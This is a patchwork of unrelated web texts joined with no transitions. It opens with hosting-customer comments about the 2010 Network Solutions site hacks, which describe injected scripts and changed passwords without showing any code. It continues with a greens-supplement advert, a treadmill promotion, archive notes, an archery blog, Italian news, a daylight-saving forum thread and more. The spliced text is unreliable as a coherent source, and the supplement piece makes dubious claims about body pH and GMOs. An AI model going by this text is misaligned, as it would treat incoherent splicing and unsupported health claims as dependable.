All my index.php files we're hacked today around 2:43PM and long and nasty scripts inserted. And also in SMF index files.
Total nightmare. Others are reporting the same.
My Network Solutions site and WordPress blog was hacked sometime on April 8. I found that the siteurl entry for the blog was changed in the wp_options table in the database.
I was able to edit the entry, but the site did not come back until after I reinstalled WordPress and upgraded.
I have altered the permission settings as you suggested but I see that will not protect the database proper.
Gee I wish I'd found this a few weeks ago! On April 4th I lost half my database and I really thought I'd messed something up until I found the redirect iframe in the site url (thanks to a search on wordpress hacks). I restored my database from back up and checked it was clean and everything was fine.
A few days later I found my site was completely locked out from the public. I couldn't get in to do anything or check it out … nor could I log in to network solutions. Eventually when NS came back up for me (my site was still down) I found my database password changed (no explanation as to why) … I rewote my config file with the new password and reset all my permissions …they seem to have been rewritten all over the place with php files readable and executable publically.
I reset all the permissions including 640 on the config file and everything was fine (mind you it took a few hours to work this out). A week later NS emailed me to let me know they'd changed my password and I should check my file permissions etc. Gee thanks for the speedy info guys!
Today the same hack happened again and you need to remember my permissions were correct when this happened (although the restore from back up is wrong on permissions, I change it manually each time I restore). Today all my FTP passwords were changed for me with no notification … I'm sure they'll tell me in a weeks time however.
Given I had the correct permissions in place to begin with, I'm not sure how it can be a wordpress problem … especially as this specific hack seems to affect network solutions blogs only. I'd also like to point out that my initial wordpress install was done by NS itself and I had to change permission on the config file manually as the NS install set it at 644!!!
If you want any other info you can write to my email. I've cleaned the site again, but who knows how long that will last. Any recommendations for a safer host?
Edit by Denis: I removed your site link from your signature since it's still not guaranteed to be safe…
I should have mentioned … I'm on the 205.178.*.* ip also.
2:15pm 4/20/10 script insertion attach on NetSol hosting.
Immediately after the body tag the script in question sticks out.
Just removed a maliciuous script that was just behind the body tag on a very basic html site. Now I also remember that we had some trouble with our ftp passwords and logins. 'Someone' had changed them. We tried to contact NS. But they never bothered to answer.
I had to remove the malicious script again! So something is putting it back again every time I remove it? Nice one NS!
The attack continued on Tuesday night with two more sites I know taken down.
NetSol hasn't found the source yet.
This is bullsh*t.
I have two blogs on my site and both got hit in the hacking earlier in the month.
Now today I've been hit three times with the new javascript hack.
I upload clean copies of the files and they come back in less than an hour or two and replace them with infected versions.
I've logged in and tried changing my FTP password using the Network Solutions site administration panel and the change won't go through.
When they changed the passwords on my databases (for the earlier blog hack), they disabled the automatic database back-up and I can't re-enable it because the control panel keeps giving me a warning about the database user name. Which I tried changing back when the blogs were being hacked (along with the passwords) but that change wouldn't go through, either.
They reset the permissions on all the PHP scripts on my site to 640 or the like, so every time one was accessed, the server threw a "mod_mime_magic can't read file blahblah.php" error. So I was getting error logs running anywhere from one third to half the size of my access logs.
I filed a service request and they emailed me back saying it had been resolved.
It hadn't. Eventually I bitched enough that they left the file permissions at 644 when I reset them. (I'd set them to 644 to stop the errors and they'd reset them to 640.) They've also done something to my log directory so that I can't delete the old logs now.
And just when I thought things were going to be OK, this javascript hack pops up.
This is ENTIRELY an internal security matter, I'm convinced of it.
Can you suggest a better provider? I'm just about ready to move.
In the time it took me to type my comment here, they hacked in and inserted the script again.
This is ridiculous.
We shared-hosting customers are screwed. For now anyway. Isn't that basically the bottom line?
I mean we're supposed to be responsible for application-layer security now?
I have several sites that have been attacked as part of this whole WordPress/Network Solutions debacle. And I do want to move. It'll have to be shared hosting. I realize you don't want to recommend one service over another (I guess they all have problems), but can you at least tell us what you think of BlueHost (recommended by WordPress.org) and if you know how they handle security?
Remove or rename the following files in cgi-bin if present:
Check the contents before you do it!
In my case they were all part of the malicious code.
For the moment my site is clean and working without troubles.
Add me to the list… This is a total nightmare. I designed my company's website, and set up the wordpress plugin. I really don't know that much about websites, and we are a small 10 person engineering company, who really can't dedicate time/money to this…

Health Advice
Why you need more greens.
How many times have you been told to "eat your greens"?
Green, leafy vegetables are loaded with important vitamins such as vitamins A, C, E and K and micronutrients including calcium, potassium and magnesium. They're also high in fibre, folate and antioxidants essential for healthy digestion and all round support for your nervous and immune system. Greens are low in carbohydrates, fat and sodium making them ideal for assisting in maintaining a healthy body weight. What you eat influences your body's pH balance - grains, dairy and protein leave an acidic residue after digestion whereas green leafy vegetables are alkaline.
Organic Greens where possible are always best. With Certified organic you are consuming a higher concentration of nutrients, without the harmful GMOs, chemicals and pesticides.
Ideally we should all be eating our recommended intake of 5 - 6 standard serves of vegetables a day according to the Australian Dietary Guidelines (1). Unfortunately, the majority of us do not manage to get enough greens in the day. There are plenty of reasons (or excuses) why… the preparation, taste, the effort. Not to worry! We have a few simple, easy tricks to sneak more greens in.
Green Juices or Smoothies
Blending is a great way to consume those dark leafy greens like kale, spinach, chard and collard without losing out on the fibre. It will also increase the bioavailability of the nutrients as the plant cell walls have already been broken down ready for your body to absorb. A ratio primarily based on vegetables with a small amount of fruit will keep sugar levels low as well.
Feel Good Snacking
Crunchy, fresh vegetables including snow peas, green beans, celery or cucumber are great replacements for processed foods like biscuits, crackers and chips. Try it with a dip packed with healthy fats and protein such as peanut butter, hummus or guacamole to satisfy your 3pm craving while adding an extra 1 or 2 serves of veggies to your day.
A High Quality Greens Supplement
Amazonia Raw Prebiotic Greens is an ideal choice for those who want to incorporate an essential blend of greens into their busy lifestyle to benefit their immune system, support energy levels and overall health. Our wholefood, certified organic powder is a subtle, refreshing, natural mint and vanilla flavour that makes it an easy, enjoyable, nutrient dense choice that can be added to water, smoothies or juices.
Amazonia Raw Prebiotic Greens also supports energy levels to keep you perform at your best all day, every day.
By using any or all of these Greens tips, you'll end up loading up on those much needed nutrients without thinking twice. Try it for a week and you'll notice the difference!

A Home Treadmill That Every Serious Runner Will Love
Treadmills are for beginners, right? After all, every serious runner goes outdoors to brave the elements, take in the scenery and train organically for race day.
But that's not really true these days. Though there have long been concerns about the effectiveness of training for a marathon on a treadmill, technology has caught up to the needs of runners who take the sport seriously. What's more is that even pro runners are using treadmills to train.. In fact, some top U.S. Olympians and trainers have publicly touted some of their treadmill workouts.
One of the limitations a runner attempting to use a treadmill to train for a marathon runs into is the fact that most of the machines simply don't offer enough time. After all, if one is training for a 26.2-mile race, how does one break up that preparation into exercise intervals that may only last two hours?
The Life Fitness T5 treadmill offers answers to runners' toughest training challenges – right in the comfort of their own homes. Here are a few reasons runners will love this treadmill more than the average one.
Run your marathon. The T5 offers a marathon mode that does just what it says – that is, you can run a full marathon where the machine doesn't stop until you do. On the Track consoles, there is no time limit in Marathon Mode, which means a runner can complete a full out 26.2 miles if they wish.
Get in the 5K or 10K zone. There are two sports training workouts that cater to the runner training for a 5K or 10K. The distance-goal modes simulate an actual terrain with varying incline levels.
Choose your terrain. Another concern about treadmills in general is how they may prepare a runner for performing on outside surfaces. To address that issue, the T5 can simulate different running surfaces, due to the ability to adjust the flex deck firmness. The runner can change the setting to mimic running on grass, track or pavement.
Enjoy less impact on knees and joints. The T5 decreases impact up to 30 percent and gives runners the space for long strides and movements. Again, the flex deck can be adjusted to the runner's preference to periodically give those knees a much-needed break.
Times have changed for the treadmill. From serious runners to runners who are ready to get serious, the running machine now offers a fresh appeal.

What is in This Collection?[edit | edit source]
This collection will include records from 1829 to 2001.
These records come from the Tasmanian Archive and Heritage Office. They may include a variety of records, such as: land, school, court, occupation, cemetery, correctional institution, immigration, hospital, military, naturalization, guild and convict records.
Court records contain information about individuals who were involved in a number of matters, including those mentioned below. Details about Australian convicts are often found in court records. Most court records provide names of individuals who served as defendants, plaintiffs, jurors, or witnesses. They may also provide such information as the individual's residence, occupation, physical description, and family.
Convicts first arrived in Australia in 1788, when the British government established a penal colony at Port Jackson, Sydney Bay. Records about convicts transported to Australia are numerous and play a major role in Australian family history research.
There are four types of convict records:
- Tickets of leave
- Certificates of Freedom
- Pardons
- Convict Indents
To see definitions of the records, go to Australia Convict Records for more information.

The Samick Sage takedown recurve bow. Huh … Looks like a moustache.
If I could go back in time I would order the bow online, probably from my beloved 3Rivers Archery, probably with 45-pound limbs.
As it was, I drove an hour and a half to Lancaster, PA. It was raining and freeway-boring most of the way. And then of course there was the drive back, in heavier rain. On the bright side….
I was traveling with my favorite person; on the return trip, a brand new Samick Sage sat in the backseat; and I'd seen the inside of Lancaster Archery Supply — cue heavenly choir music. And we had a nice late lunch at El Serrano.
But in addition to the gray, drizzling sky, another cloud hung over the expedition: disappointment….
I bothered driving to Lancaster — spending all that time and gas money — so I could handle the Samick Sage. I wanted to test fire it with different weight limbs to see which limb weight I should begin with. I did not want to over-bow*. If anything, I'd go maybe a little under. I was thinking 45#.
But test firing didn't happen. When I arrived, the sales staffer informed me they had only two limb weights: 55# and 60#. What? I had called ahead. The staffer on the phone assured me the shop had in stock the various limb weights I wished to test. I knew 55# would be pushing it.
Before I go any further, let me say that Lancaster Archery Supply is a wonderful place and the employee who assisted us was great. He even gave us a couple good fly-fishing tips.
The atmosphere of the showroom is relaxed, no sales pressure. In fact, you have to take a number if you want staff assistance (this was a Saturday). You can wander the floor and fondle bows to your heart's content.
The shop has everything — times 10 (except for lighter Sage limbs). Frankly, the sheer volume and apparent redundancy of the stock overwhelmed … in a joyously glutinous way. And of the half-dozen or so archery shops I've visited, Lancaster has by far the best selection of trad bows. Which, given the shops I've visited, isn't saying much. But still.
And Lancaster promised a chance to test fire the Sage with different limb weights. So we drove.
In the end, I bought the bow with 55# limbs — how could I drive three-plus hours round trip and not return with a bow, then have to wait however long to have the bow shipped (and pay transport costs)? Of course not! No way!
Curiously, I ordered a set of 45# limbs from Lancaster shortly thereafter and they had them in stock. Maybe they shipped from their Poughkeepsie warehouse?
That's the story of my Samick Sage purchase. Because of the limb fiasco, do I not recommend Lancaster Archery Supply? Heck no. The place is an archer's paradise, especially if you're into shooting those funky looking arrow machines called compound "bows". If the place was an hour closer, I'd probably visit it twice a week. Probably own three compound "bows" by now and have retinal detachment from peering through peep sites. Friendly staff. Browsing apparently encouraged. Classes, a range, blandishments up the wazoo. What's not to love?
Oh, right: I'm definitely over-bowed at 55#. I know, I'm a weakling, sad shadow of manhood. What can I say? In fact, 45# is pushing it. But it's getting easier to shoot more arrows during each session without feeling like my left elbow is going to pop off and bounce all over the lawn. The season is young and my strength is increasing.
So, am I selling the 55# jobs?
Nope. As the 45s get easier, I'll switch to the 55s from time to time till I get stronger. I have actually very nice (for me) groupings with the 55# limbs but they're 4 or 5 inches off desired point of impact, at about 1 o'clock high.
More to come on the Sage in near-future posts.
*Over-bow: The bow's draw weight is too heavy for the archer to shoot effectively. The natural inclination is to over-bow. like the desire for more of anything, more weight can mean more speed, impact, and alpha-dog rights. Thing is, if your bow weight causes muscle strain, double vision, moistened undies and arrows flying every which way but where you want, all those good things go for naught. Listen to the coach.

Italian President Giorgio Napolitano says he has no intention of resigning.
There had been speculation that he would quit before his term ends in May, in a bid to break the political stalemate created by recent elections.
"I will continue my term until the last day. I will not abandon my country and the difficulties that confront me," said Napolitano.
"I still have confidence that we can overcome, in a responsible way, the challenges that Italy is facing."
Efforts over the past week to form a government have failed, with centre-left leader Pier Luigi Bersani unable to win enough support from other parties.
Napolitano now says he will ask two groups of experts to come up with proposals for institutional and economic reforms, which can be supported by all sides.
Italians are craving some sort of stability, with their country in recession and unemployment at a record high.

On Monday, I received a beautiful package from Donna Liljegren of Brynwood Needleworks. It contained one of four special gifts she made for the winners of her 400th friends/followers giveaway!
This postcard contains a sampling of Donna's work, which is simply exquisite!
She is also an amazing gift wrapper! The gift was almost too pretty to open – but like me, I know you want to see what's inside!
I received this gorgeous table runner, made of creamy unbleached muslin cloth, with ruffles and an embellished pocket at one end!
The pocket features the lovely celebration image and handmade, vintage, crocheted lace, which I love!

Why (those maps / that article) decided that "a reasonable sunrise time" was before 7 am is probably due to a conspiracy of so-called 'morning' people, who everyone with sense understands to be semi-human mutants and certainly not a demographic to be catered to.

Lol Floridians are so dumb.
Last year, our state legislature voted to end DST for Florida. Of course, that requires Congress to amend Federal law, so it was really a first step (or a PR stunt), which was made clear at the time.
Didn't stop Floridians from flooding social media last night, asking why they had to set the clocks back since we ended it.
Sadly since cell phones and laptops usually update themselves, my fantasy of millions of Floridians being on the wrong time won't come to pass.

"Sadly since cell phones and laptops usually update themselves, my fantasy of millions of Floridians being on the wrong time won't come to pass."
It sounds like the setup for a 1990s fish-out-of-water comedy. It would end with the hero teaching the futuristic people of New York about "real music", e.g. pre-Beatles rock and roll, because the film would be written by a baby boomer who hasn't got over Elvis being drafted. He or she would catch some crooks using a vintage skateboard, or something, or a surfboard, because people in Florida surf, don't they? He or she would dress up like the characters from Miami Vice. It's high concept. Nineteen-eighties meets the modern age! Cocaine everywhere, and people are paranoid about AIDS. There could be a cameo from the COUGH Indian COUGH chap from Short Circuit that would seem perfectly normal to the film's writer, because Indian people are funny, but would be horribly uncomfortable for the audience.
Alternatively imagine a film in which Florida is perpetually an hour behind the rest of the United States. The transient nature of internet microcelebrity is such that just being an hour behind the times would cut the people of Florida off from "the narrative". They would have to send meme-gatherers into the rest of the United States in order to bring back fresh live memes. I live in the UK, which means that I'm fourteen hours behind "the narrative". My experience of Reddit and so forth is that everything happened fourteen hours ago, while I was asleep, and by the time I catch up the drama is over.
I'm thinking of that woman who was on a flight to South Africa. She tweeted something tasteless before she got on the plane - "I'm not worried about catching AIDS because I'm white" or something like that - and while she was on the plane a twitter storm erupted, and she was sacked (she worked in PR), and she only learned about it when she touched down because back in 2011 or whenever there was no internet on planes. That little drama played itself out over the course of just a few hours. Imagine a future in which being just one hour behind the times was enough to cut yourself adrift from modern society, if that isn't already the case. That's why I read Ilxor every day, so that I don't lose touch. Once you let go of the rope the current takes you and you're lost.

I can't remember the year or the town it happened in, so I know this sounds like an urban legend, but there was a town in Florida during the 70s that suffered a power outage for one hour during the night the state sprang forward from EST to EDT.
Since it was before clocks that could set themselves, most people set their clocks ahead before bed. Then their clocks froze for an hour, allowing standard time to catch back up. When everyone awoke in the morning, there were no flashing 12:00s. Just a bunch of people who still wound up being an hour late for church.

Baxter just went "fuck everything" and started asking for dinner at 11amAlternatively imagine a film in which Florida is perpetually an hour behind the rest of the United States. I enjoyed the premises that flow from this but I refuse to accept the implication that the other rest of the US sets their clocks back three hours. The sun setting at 5pm is brutal enough, under your system it'd be dark at lunchtime come January.

Monimoto comes with two CR123A primary batteries that can be easily found in most convenience or photo equipment stores. Once the battery level reaches the critical level (don't worry, you will be notified), simply open the enclosure, remove the old ones, insert new, and close the enclosure.
IMPORTANT: You MUST NOT use rechargeable batteries if you find any for sale at all. They have a different electrical parameters and we cannot guarantee that Monimoto will work properly, nor that the correct battery level will be displayed.
Also - DO NOT use new and old batteries together as this will lead to the false battery level indication in the app.
DO NOT use Mitsai batteries as they are not compatible with Monimoto.
The Monimoto Key Fob is powered by a 3V Lithium CR2450 one battery that should last at least 3 years.
Have in mind that earlier Monimoto key Fob is powered by a 3V Lithium CR2032 battery.

Nowruz – Persian New Year
Today is March 20th, my sister Lisa's birthday. It is Nowruz, the start of the Persian New Year, and the first day of Spring. We tend to experience life on three levels, the personal, the communal and the universal. So I remember my sister on what would have been her 57th Birthday. With our Persian friends and neighbors, we celebrate Nowruz, and in half the world, spring arrives.
Nowruz "new day" is a Persian, pre-Islamic holiday rooted in the Zoroastrian faith. One prepares for the holiday with a traditional spring-cleaning. It is a time to gather with friends and family. In Persian homes symbolic dishes are placed on the haft-seen table. Haft is the Persian word for the number seven and seen for the letter "S." The table is set with the seven S items which include Sumac (crushed spice of berries) to symbolize sunrise and the spice of life, Senjed (sweet dry fruit of the lotus tree) for love and affection, Serkeh (vinegar) for patience and age, Seeb (apples) for health and beauty, Sir (garlic) for good health, Samanu (wheat pudding) for fertility and the sweetness of life, andSabzeh (sprouted wheat grass) for rebirth and renewal of nature.
There are other symbolic items that go on the haft-seen table depending on family traditions. It is customary to place a mirror on the table to symbolize reflection on the past year, a bowl of goldfish for new life, colored eggs to represent fertility, coins for prosperity in the New Year, hyacinths to symbolize spring, and candles to radiate light and happiness. Each family places other significant items on the table, the holy book of Zoroastrianism, or a book of poetry by the poet Hafez. The celebration ends on the 13th day spent picnicking with family and friends in nature.
This ancient holiday encompasses so many traditions present in other religious and cultural holidays this time of year. Celebrating the beginning of Spring may be among the oldest seasonal holidays in human culture. So we each celebrate according to our traditions, but we all celebrate. In that spirit, I offer my version of Mastva Khiar, a most refreshing spring salad.
